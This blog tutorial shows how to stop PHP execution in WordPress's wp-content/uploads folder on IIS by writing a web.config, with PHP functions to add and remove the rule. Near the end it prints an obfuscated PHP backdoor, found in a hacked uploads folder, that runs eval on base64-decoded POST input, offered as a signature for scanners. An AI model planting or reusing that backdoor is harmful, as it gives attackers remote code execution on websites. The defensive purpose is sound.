Secure WordPress uploads folder, disable PHP execution

Photo of author
Written By Jan Reilink

Windows Server system administrator & enthusiast.

Deny direct access to PHP files in wp-content/uploads/. The following PHP function secures your WordPress website by disabling the execution of PHP scripts in wp-content/uploads, on Windows Server IIS web servers. It creates a web.config file for this purpose.

How to disable PHP in wp-content/uploads

The PHP execution in wp-content/uploads (aka WP_CONTENT_DIR/uploads) is disabled by writing a web.config file containing an .htaccess as a web application firewall (WAF), to block out some vulnerabilities based on their request characteristics. Or you can use a HTTP blacklist to block out IP addresses known to abuse websites.

The web.config accessPolicy only works on IIS 7.0+ Windows Server web servers, consult your web hosting provider for more information.

Securing the WordPress uploads folder is important. In many hacked WordPress sites, a PHP backdoor is found within the WP_CONTENT_DIR/uploads directory. Often because this is the location where uploads are placed automatically. From the backdoor within wp-content/uploads other backdoors are uploaded to various locations, and scripts are injected with malware.

Disable the execution of PHP scripts in wp-content/uploads

As always, the PHP code is provided AS-IS. The PHP code to write a web.config file comes partially from the WordPress functions iis7_add_rewrite_rule() and saveDomDocument(), both found in wp-admin/includes/misc.php.

It shouldn’t be too hard for you to wrap this in a WordPress plugin:

<?php function disable_script_execution() { $is_iis7 = true; $path = WP_CONTENT_DIR . '/uploads'; $filename = 'web.config'; if ( $is_iis7 ) { if ( ! file_exists( $path . '/' . $filename ) ) { $fp = fopen( $path . '/' . $filename, 'w' ); fwrite( $fp, '<configuration/>' ); fclose( $fp ); } $formatxml = PHP_EOL; $formatxml = " <handlers accessPolicy=\"Read\" />"; $formatxml .= PHP_EOL; $doc = new DOMDocument(); $doc->preserveWhiteSpace = true; if ( $doc->load( $path . '/' . $filename) === false ) { return false; } $xpath = new DOMXPath( $doc ); $read_accesspolicy = $xpath->query( '/configuration/system.webServer/handlers[starts-with(@accessPolicy,\'Read\')]' ); if ( $read_accesspolicy->length > 0 ) { return true; } $xmlnodes = $xpath->query( '/configuration/system.webServer/handlers' ); if ( $xmlnodes->length > 0 ) { $handlers_node = $xmlnodes->item(0); } else { $handlers_node = $doc->createElement( 'handlers' ); $xmlnodes = $xpath->query( '/configuration/system.webServer' ); if ( $xmlnodes->length > 0 ) { $system_webServer_node = $xmlnodes->item(0); $handler_fragment = $doc->createDocumentFragment(); $handler_fragment->appendXML( $formatxml ); $system_webServer_node->appendChild( $handler_fragment ); } else { $system_webServer_node = $doc->createElement( 'system.webServer' ); $handler_fragment = $doc->createDocumentFragment(); $handler_fragment->appendXML( $formatxml ); $system_webServer_node->appendChild( $handler_fragment ); $xmlnodes = $xpath->query( '/configuration' ); if ( $xmlnodes->length > 0 ) { $config_node = $xmlnodes->item(0); $config_node->appendChild( $system_webServer_node ); } else { $config_node = $doc->createElement( 'configuration' ); $doc->appendChild( $config_node ); $config_node->appendChild( $system_webServer_node ); } } } $rule_fragment = $doc->createDocumentFragment(); $rule_fragment->appendXML( $formatxml ); $handlers_node->appendChild( $rule_fragment ); $doc->encoding = "UTF-8"; $doc->formatOutput = true; saveDomDocument( $doc, $path .'/'. $filename ); return true; } }
Code language: PHP (php)

By disabling PHP in the uploads directory, your WordPress site is a little bit more secured. The, somewhat older, Smashing Magazine post Common WordPress Malware Infections gives great insight in common WordPress (core, theme, plugin) vulnerabilities and how they’re abused.

wp-content/uploads/web.config result

The function above creates the following web.config file in your wp-content/uploads directory:

<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers accessPolicy="Read"/> </system.webServer> </configuration>
Code language: HTML, XML (xml)

This tells IIS that handlers (such as PHP) may only read, and not execute. If you don’t want to create a WordPress plugin, you can copy/paste the above code into a new file and save it as web.config. Upload the file to your wp-content/uploads folder. Be careful not to upload it to a different folder.

Re-enable PHP script execution

If you want to re-enable PHP script execution, you can simply delete the web.config file from the wp-content/uploads directory. Or you can programmatic enable PHP by deleting the <handlers accessPolicy="Read"/> line:

<?php function enable_script_execution() { $is_iis7 = true; $path = WP_CONTENT_DIR . '/uploads'; $filename = 'web.config'; if ( $is_iis7 ) { if ( ! file_exists( $path . '/' . $filename ) ) { return true; } $doc = new DOMDocument(); $doc->preserveWhiteSpace = false; if ( $doc->load( $path . '/' . $filename ) === false ) { return false; } $xpath = new DOMXPath($doc); $handlers = $xpath->query( '/configuration/system.webServer/handlers[contains(@accessPolicy,\'Read\')]' ); if ( $handlers->length > 0 ) { $child = $handlers->item(0); $parent = $child->parentNode; $parent->removeChild( $child ); $doc->formatOutput = true; saveDomDocument( $doc, $path .'/'. $filename ); } } return true; } ?>
Code language: PHP (php)

Example PHP backdoor found in wp-content/uploads

An example of a PHP backdoor you may find is the following one. You can use the PHP backdoor code for signatures in your automated backdoor scanning tools or grep regular expressions.

/wp-content/uploads/2009/12/files.php:

<?php $sF="PCT4BA6ODSE_"; $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]); $s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]); if (isset(${$s20}['n23f412'])) { eval($s21(${$s20}['n23f412'])); } ?>
Code language: PHP (php)

/wp-content/uploads/functions.php:

$tddbvdlvz="base64_decode";return $tddbvdlvz($gnce);}
Code language: PHP (php)

Preventing the execution of PHP in wp-content/uploads prevents these exploits from spreading. But you still need to address the cause in your website.


Did you like: Secure WordPress uploads folder, disable PHP execution

Then please, take a second to support Sysadmins of the North and donate!

Your generosity helps pay for the ongoing costs associated with running this website like coffee, hosting services, library mirrors, domain renewals, time for article research, and coffee, just to name a few.



1 thought on “Secure WordPress uploads folder, disable PHP execution”

  1. That’s a wounderful tutorial!!! Thank you very much! I got a couple of techniques for myself! Thanks again

    Reply

Hi! Join the discussion, leave a reply!

%d bloggers like this: